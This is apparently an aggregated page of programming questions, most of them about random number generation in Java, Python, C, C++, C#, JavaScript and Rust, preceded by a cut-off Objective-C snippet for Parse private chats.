                PFUser *user1 = [PFUser currentUser];

                NSString *groupId = StartPrivateChat(user1,object);
                [self actionChat:groupId];

        }
    }];
}




//-------------------------------------------------------------------------------------------------------------------------------------------------
    NSString* StartPrivateChat(PFUser *user1, PFUser *user2)
    //-------------------------------------------------------------------------------------------------------------------------------------------------
    {
        NSString *id1 = user1.objectId;
        NSString *id2 = user2.objectId;
        //---------------------------------------------------------------------------------------------------------------------------------------------
        NSString *groupId = ([id1 compare:id2] < 0) ? [NSString stringWithFormat:@"%@%@", id1, id2] : [NSString stringWithFormat:@"%@%@", id2, id1];
        //---------------------------------------------------------------------------------------------------------------------------------------------
        NSArray *members = @[user1.objectId, user2.objectId];
        //---------------------------------------------------------------------------------------------------------------------------------------------
        // CreateRecentItem(user1, groupId, members, user2[PF_USER_FULLNAME]);
        // CreateRecentItem(user2, groupId, members, user1[PF_USER_FULLNAME]);
        //---------------------------------------------------------------------------------------------------------------------------------------------
        return groupId;
    }




Good seed for Java random - Constructing a Maze

I am trying to make a program to construct a Maze (a classic exercise in Java) and I want to my method to generate the maze to recieve a seed for the aleatory number generator that is used to generate this. This is required because I want the program to generate the same maze everytime I enter the same seed. But, with some seed values, more values looks like to have more probability than others.

I mean, suppose that I set a random object with a given seed and use it to generate integers between [0, 4) and this is used as criteria to build the maze. The sequence generated is so characteristic that the maze is just too easy. Is I just dont set any seed, a good maze is generated. The integers part are just an example. I could use an uniform and divide it 4 regions: [0, 0,25), [0,25, 0.5), [0.5, 0.75), [0.75, 1)

Is there a way to modify that seed so that the behavior of the random number generator will be the same for the same seed and mantain the good "mixture" of the numbers? I mean, how can I generate the same numbers setting a seed such that they are evenly distributed in this intervals?

Thanks!




Anylogic 7: Different Random Generators for different processes

i'm trying to archive the following within Anylogic: I have several processes that are all somehow distributed. These distributions involve random number generation.

As of my understanding anylogic creates one random number stream from which any process takes its random numbers. But actually i want to have another random number stream for each process. Anyone has an idea how to do this?

I hope you understand what i'm trying to do and that you're able to help me.

Thanks in advance




how to call a function in python in another function?

I have a function named mynet.py in that I make a network randomly(G) and choose some of its nodes as infectious nodes randomly. after making this network I want to save the result and call them into another function named myoperate.py. I use command: import mynet as mn G1=mn.G in myoperate.py, but it seems whenever I run myoperate.py the function mynet is runned and make a new network, how can I use the saved network in mynet into myoperate? any help would be appreciated




Don't repeat combinations from math.random()

How can I make this code don't repeat combinations and after finishing combinations, I should alert that it's finished.

And second question, is there any way to reset combination (reset randomise)?

Thanks in advance.

<!DOCTYPE html>
<html>
<body>
<script src="http://ift.tt/1bfiD4X"></script>
<style type="text/css">
        .content{

        margin-top:100px;
        margin-left:16%;
        float:left;
        }
        #about{
        padding:20%;
        margin-bottom:10px;
        }
        #btn{
        padding-right:125px;
        text-align:center;
        }
        .number{
        float:left;

        }
        .color{
        margin-top:-20px;
        float:left;
        }
        p{
        width:50px;
        height:34px;
        line-height:23px;
        text-align:center;

        }
        .nmb1{
        width:50px;
        height:50px;


        }
</style>
<div class="number">
<div class="nmb1">1</div>
<div class="nmb1">2</div>
<div class="nmb1">3</div>
<div class="nmb1">4</div>
<div class="nmb1">5</div>
<div class="nmb1">6</div>
<div class="nmb1">7</div>
<div class="nmb1">8</div>
<div class="nmb1">9</div>
<div class="nmb1">10</div>
<div class="nmb1">11</div>
<div class="nmb1">12</div>
<div class="nmb1">13</div>
<div class="nmb1">14</div>
<div class="nmb1">15</div>
<div class="nmb1">16</div>
<div class="nmb1">17</div>
<div class="nmb1">18</div>
<div class="nmb1">19</div>
<div class="nmb1">20</div>
</div>
<div class="color">
<p id="changeText"></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
</div>

</div>
<div class="content">
<button id="about">Variant #<a id="clicks">0</a></button><br/>
<button id="btn"onClick="onClick()">NEXT</button>
</div>

<script type="text/javascript">
        var textarea = ['N', 'Y'];
        var colors=['red','green'];
        $(document).ready(function(){
        $('#btn').click(function(){
        $('p').each(function(){
        var randomC = Math.floor(Math.random()*colors.length);
        $(this).css('background',colors[randomC]);
        $(this).html(textarea[randomC]);
        });
        });
        });

        var clicks=0;

        function onClick(){
        clicks+=1;
        document.getElementById("clicks").innerHTML=clicks;
        };
</script>
</body>
</html>



Non-Repeating Random Number Generator in Java

I am trying to create a subclass of the Random class in Java that does not repeat its output, and here is what I've got so far ..

import java.util.Set;
import java.util.concurrent.CopyOnWriteArraySet;

public class NonRepetitiveRandom extends java.util.Random {
    private Set<Integer> noUseInts = new CopyOnWriteArraySet<Integer>();
    private static final long serialVersionUID = 1L;

    @Override
    protected int next(int bits) {
        int i;
        for (i = super.next(bits); noUseInts.contains(i); i = super.next(bits))
            ;
        noUseInts.add(i);
        return i;
    }
}

Is it fine ? Do I need to add anything ? I initially tried overriding each next* method using the same model as above, but after noticing that the next method itself is used in all next* methods, I am trying to override it alone.




Python: create list of random integers where state space is limted

I would like to create a list of x random integers which are chosen from the interval [0,n[ (n is usually much bigger than x) whereby certain numbers of this interval should be ignored. I implemented that as follows:

from random import randint

def createRandomList(n, x, ignore=[]):
    myList = []
    while len(myList) < x:
        tempr = randint(0,n-1)
        if tempr not in ignore:
            myList.append(tempr)
    return myList

When I then call

l = createRandomList(5,2,ignore=[2,3])

I obtain e.g.

l = [1,4] #2 and 3 should not appear

or

l = [0,1]

or

l = [4,4]

or ...

That is the desired outcome, however, is there any faster/more compact way to do this?




C# Random list that adjusts for enabled or disabled items

I am building a random roll program, I'd like it to select an item based on a number associated with it. However, I need to be able to enable or disable some of these items and adjust the roll for that new total while still maintaining a random selection. Asking for the world right?

I already have the code for the roll, and I have searched all over, but cannot find anything like an example of how to make the list so I can enable or disable items and still roll to randomly select an item from the now adjusted list.

Anyone have an idea what I'm talking about?




generate random letter and fixed number combination

I need to generate a random sequence of a single letter and 6 digit combination, example: F841257

I was looking into rand crate, but something doesn't quite work.

extern crate rand;

fn main() {
    println!("{:?}", rand::random::<char>());
}

prints something like '\u{6ae02}' and println!("{}", rand::random::<char>()); produces some weird glyph.

Can someone point me in the right direction of how I could achieve this?




Random password generator same string

This is my first C program and I wanted to make a random password, but every time I run the program, it generates the same string. (always generates "pkDHTxmMR1...") This is not going to actually be used so the security of rand() doesn't really matter to me. Why would it output the same string every time that I run it?

#include <stdio.h>
#include <stdlib.h>
#include <time.h>  
//this is a program to generate a random password

int main()
{
int counter = 0;
srand(time(NULL));
char randChar;

int  passwordLength;

printf("Type in a password Length \n");
scanf("%d", &passwordLength);


while(counter < passwordLength)
{



//seed random based on time
srand(time(NULL));
    randChar = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"[random () % 62];    
    printf("%c", randChar);
    counter++;
}
return 0;

}




srand() + rand() with local scope

I have a function that calls srand and rand like this:

void foo() {
   int seed = some_operation();
   std::srand(seed);
   int value = std::rand();
   // Do something with random value
}

However, I don't want to change the global state of rand. Whats the easiest way to get a random number then?

Requirements:

  • random number must be deterministic based on seed
  • C++11 is fine
  • foo should be thread safe
  • the global state of rand should not be modified



Get random element from C# HashSet quickly

I need to store a set of elements. What I need is functionality to

  1. remove (single) elements and
  2. add (sets of) elements and
  3. each object should only be in the set once and
  4. get a random element from the set

I chose the HashSet (C#) since it sports fast methods for removing elements (hashSet.remove(element)), adding sets (hashSet.UnionWith(anotherHashSet)) and the nature of a HashSet guarantees that there are not duplicates, so requirements 1 to 3 are taken care of.

The only way I found to get a random element is

Object object = hashSet.ElementAt(rnd.Next(hashSet.Count));

But this is very slow, since I call it once for every pixel of my map (creating a random flood fill from multiple starting points; mapsize 500x500 at the moment but I'd like to go bigger) and the hashset holds rather many items. (A quick test shows it blows up to 5752 entries before shrinking again.)

Profiling (CPU sampling) tells me my ElementAt calls take over 50%.

I realize 500x500 operations over a big hashset is no easy task, but other operations (Remove and UnionWith) are called as often as ElementAt, so the main problem seems to be the operation and not the number of calls.

I vaguely understand why getting a certain element from a HashSet is very expensive (when compared to getting it from a list or another ordered data structure, but I just want a random pick. Can it really be so hard and is there no way around it? Is there a better data structure for my purpose?

Changing everything to Lists doesn't help because now other methods become bottlenecks and it takes even longer.

Casting the HashSet to an array and pick my random element from there expectedly doesn't help because while picking a random element from an array is quick, casting the hashset to the array in the first place takes longer than running hashSet.ElementAt by itself.

If you want to understand better what I am trying to do: A link to my question and the answer.




Return random element from array excluding elements from subarray

Basically, I need something like this:

f(a[], b[]) = random element from a[] which is not in b[]

Idea I have is this one:

while true:
   e = element_from_uniform(a[])
   if e not in b[]: return e

Problem is, I want this function to be fast, since it will be calculating many many times (every frame on multiple objects). I know that since we are choosing from uniform distribution, eventually some element from a[] will pop up that isn't in b[].

Any ideas? Oh, if it helps, a[].length is always 6 and b[] is always some subset of a[] and b.length < a.length.

EDIT:

I want this to be done without allocating any of new memory, only with pointers.




Random's randint won't work in a for-loop

I'm trying to create a list with random length filled with lists of random lengths by using this code:

import random

solitaire = [None]*(random.randint(1,5)) 

for pile in solitaire:
    number = random.randint(0, 10)
    solitaire.append(number)    

print(solitaire)

Easy enough I though but when I ran this code my powershell window froze as it was expecting an input or something, I had to cancel the script with ctr+c and then got the message:

Traceback (most recent call last):
File "sparakod.py", line 254, in <module>
number = random.randint(0, 10)
File "C:\Python34\lib\random.py", line 218, in randint
return self.randrange(a, b+1)
File "C:\Python34\lib\random.py", line 170, in randrange
def randrange(self, start, stop=None, step=1, _int=int):
KeyboardInterrupt

What does this mean? Why won't the code run?

 number = random.randint(0, 10)

Seems to work just fine so why won't it inside the for-loop?

Thanks in advance!




In Java, generate a random set of x, y coordinates within a rectangle [duplicate]

This question already has an answer here:

The problem is that if my Rectangle position.x or position.y is >=0.0f, then my randomly generated number is always a positive number. Is there a way to generate a truely random set of x, y coordinates within my region?

How I determine a new point within the rectangle ..

// new Rectangle(position, width, height)
Rectangle region = new Rectangle(new Vec3(-5.0f, 0.0f, 0.0f), 1.0f, 1.0f);

// random number between min width and max width
float x = nextFloat(-(region.getWidth() / 2), region.getWidth() / 2);
// random number between min height and max height
float y = nextFloat(-(region.getHeight() / 2), region.getHeight() / 2);

log.info("new X: " + (region.getPosition().x + x));
log.info("new Y: " + (region.getPosition().y + y));

public float nextFloat(float min, float max){

    return min + new Random().nextFloat() * (max - min);
}

Output after 5 executions ..

[12:32:13] INFO - new X: -4.5985336
[12:32:13] INFO - new Y: 0.11210716

[12:32:24] INFO - new X: -4.5284076
[12:32:24] INFO - new Y: 0.38759524

[12:32:39] INFO - new X: -4.901697
[12:32:39] INFO - new Y: 0.42026645

[12:32:55] INFO - new X: -4.5402946
[12:32:55] INFO - new Y: 0.45692778

[12:33:08] INFO - new X: -5.0831842
[12:33:08] INFO - new Y: 0.25894576




mardi 26 mai 2015

Can I generate cryptographically secure random data from a combination of random_device and mt19937 with reseeding?

I need to generate cryptographically secure random data in c++11 and I'm worried that using random_device for all the data would severely limit the performance (See slide 23 of Stephan T. Lavavej's "rand() Considered Harmful" where he says that when he tested it (on his system), random_device was 1.93 MB/s and mt19937 was 499 MB/s) as this code will be running on mobile devices (Android via JNI and iOS) which are probably slower than the numbers above.

In addition I'm aware that mt19937 is not cryptographically secure, from wikipedia: "observing a sufficient number of iterations (624 in the case of MT19937, since this is the size of the state vector from which future iterations are produced) allows one to predict all future iterations".

Taking all of the above information into account, can I generate cryptographically secure random data by generating a new random seed from random_device every 624 iterations of mt19937? Or (possibly) better yet, every X iterations where X is a random number (from random_device or mt19937 seeded by random_device) between 1 and 624?




Random generation of tuple `(A, B)` so that `A + B <= C`?

How can I uniformly generate random tuples of natural numbers A and B, so that A + B <= C, where C is constant?